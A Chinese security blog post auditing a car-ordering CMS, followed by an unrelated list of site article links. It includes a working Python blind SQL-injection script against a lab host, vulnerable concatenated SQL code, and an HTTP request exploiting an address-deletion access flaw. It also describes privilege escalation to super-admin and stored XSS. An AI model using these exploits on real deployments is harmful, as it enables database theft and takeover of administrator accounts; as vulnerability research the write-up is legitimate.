对某CMS的审计
太久没有关注各大安全博客上的内容了(当咸鱼是真的快乐呀~),今天瞎逛,发现有师傅发了一篇关于某CMS审计的文章,我的确是几个月没有审过代码了,就寻思着跟着这篇文章复现一下找找感觉,然后顺便发现了一些这个CMS的其他问题
前台SQLi
前台快速订车功能处存在sql注入
漏洞函数位置:car-weishang-1.0.jar!/com/weishang/my/service/ShopService.class-->getGoodsListByExtendCat()
漏洞代码如下:
由上图可见,cat_ids,type_ids, brand_ids这些变量直接拼接到sql语句中,如果这些变量可控那么就存在漏洞,我们看看getGoodsListByExtendCat方法在哪里被调用了,最终找到它在com/weishang/my/action/GoodsList.java-->doGet()
方法中被调用,如下39行处:
可以看到tem_cat_id,tem_type_id, tem_brand_id等参数的值都直接来自GET请求,所以此处漏洞成立,但是由于没有回显点且无法使用报错注入,我们只能采用盲注的方式,以brand_id参数为例,写个脚本跑一跑数据库名
# -*- coding:utf-8 -*-
import requests
from string import printable
chars = printable
vul_url = "http://172.16.137.12:8080/opencarrun/goods?brand_id=1)%20or%20substr(database(),{},1)=%27{}%27%20limit%201%23&type_id=&cat_id=1&menuId=7&price=x&order=extension"
i = 0
result = ""
proxy = {'http':'http://127.0.0.1:8282'}
while True:
i += 1
temp = result
for char in chars:
target = vul_url.format(i, char)
resp = requests.get(target, proxies=proxy)
# print(resp.text)
if '预 定' in resp.text:
result += char
break
print(result)
if temp == result:
break
运行结果如下,成功跑出数据库名
后台SQLi
后台删除外聘员工功能处存在sql注入
漏洞函数:car-weishang-1.0.jar!comweishangmyadminDeleteAunt.class-->doGet()
代码如下:
我们把目光放到第八行,可以看到adminid来自GET请求,然后adminid传入了deleteAdmin()函数,我们跟进
public String deleteAunt(String ids) {
String sql = "delete from aunt where aunt_id in (" + ids + ")";
int flag = this.jdbc.executeUpdate(sql);
this.jdbc.close();
return flag > 0 ? "ok" : "bad";
}
代码很简单,就是执行了删除操作,并且ids参数直接拼接到了sql语句,也就导致了漏洞的发生,同样的,由于没有回显且无法使用报错注入,只能用盲注的方式跑数据,这里我就不写脚本了,直接给两个验证payload
用户删除收货地址处越权
用户可通过修改address_id参数删除任意用户的收货地址
POST /opencarrun/wx/wxDeleteAddress HTTP/1.1
Host: 172.16.137.12:8080
Content-Length: 14
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://172.16.137.12:8080
Referer: http://172.16.137.12:8080/opencarrun/pc/pcUserAddress
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=6E94031AC6467DB0383D8B397550A50D; store_id=42; type_id=1; time=2020-06-11
Connection: close
address_id=694
漏洞函数:opencar/WebRoot/WEB-INF/lib/car-weishang-1.0.jar!/com/weishang/action/admin/DeleteAdmin.class-->doGet()
第8 9行,获取address_id,然后传入直接传入deleteAddress(),没有判断该地址是否属于该用户,导致漏洞发生
后台管理员管理模块越权
低权限用户可以添加、删除超级管理员账户
首先,我们在后台登陆超级管理员账户,创建一个客服级别的账号
然后我们登陆这个客服账号,默认情况下客服账号是没有任何权限的,所以,客服登陆的后台长这样
就是啥功能都没有,但是,我们可以构造添加超级管理的数据包,然后用客服的cookie发送这个数据包
登陆超级管理员账号,可以看到多了一个名为“阿信真帅yo”的超级管理员账户
除了添加管理员,删除管理员一样是存在越权的。
存储型XSS
整个系统,没有做任何关于xss的防护,所以只要是有输入输出的地方基本都存在XSS,就拿用户添加收货地址这一功能来说,联系人处插入payload
成功弹窗,看来我是靓仔的事情瞒不住了!
其他缺陷
还有一些小问题,比如sessionid固定(登陆前以及登陆后sessionid不变,这也是个安全隐患),还有就是用户注册处发送短信的接口可以被恶意利用实现短信轰炸,后台登陆验证码不变导致可爆破等等。
除了上面说到的具体的漏洞点以外,该系统还有很多其他地方的XSS以及SQL注入,实在是懒得写出来了,不过挖这个系统的SQL注入有个技巧,该系统基本上所有的sql操作都在WebRoot/WEB-INF/lib/weishang-1.4.jar!/com/weishang/service/AdminService.class
以及WebRoot/WEB-INF/lib/car-weishang-1.0.jar!/com/weishang/my/service/ShopService.class
这两个类里,而系统作者大多数sql语句都是使用的预编译的方式,但是有一些sql语句由于某些原因使用了直接拼接的方式,这些直接拼接的地方都是潜在的问题,我大概看了一下,直接拼接的地方还是有很多的,有兴趣的朋友可以练练手。需要该系统的可以加我vx
- Spring data 如何定义默认时间与日期
- Spring boot with Oauth2
- Elasticsearch Cluster 安装与配置
- 数据库结构版本控制
- 【Golang语言社区】LollipopGo框架之商城项目--路由设置
- "LollipopGo/library/lollipop/common" 测试3
- "LollipopGo/library/lollipop/common" 测试2
- Golang语言并发技术详解
- Golang语言社区--Go基础课程第一节聊聊Go语言
- Spring boot with ELK(Elasticsearch + Logstash + Kibana)
- 数据库与缓存
- 通过 Proxy 汉化 restful 接口
- 学习笔记CB005:关键词、语料提取
- Eclipse油藏模型解析程序
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- Vuex详细教程
- 线程池submit和execute,搞不好会引发线上故障
- Window open使用教程
- kafka发送客户端在高并发场景下如何保证不频繁GC的
- 几个小细节帮你提升java代码运行效率
- spring data操作ES简直不能再香
- 国防科大提出基于可变形三维卷积(D3Dnet)的视频超分辨,代码已开源
- 不要被kafka的异步模式欺骗了
- 给你总结几个ES下最容易踩的坑
- ES系列之利用filter让你的查询效率飞起来
- ES主分片和副本数据大小不一样的情况
- 关于kibana的可视化可能都在这篇文章里了
- ES分页看这篇就够了
- ES系列之原来查看文档数量有这么多姿势
- ES系列之嵌套文档和父子文档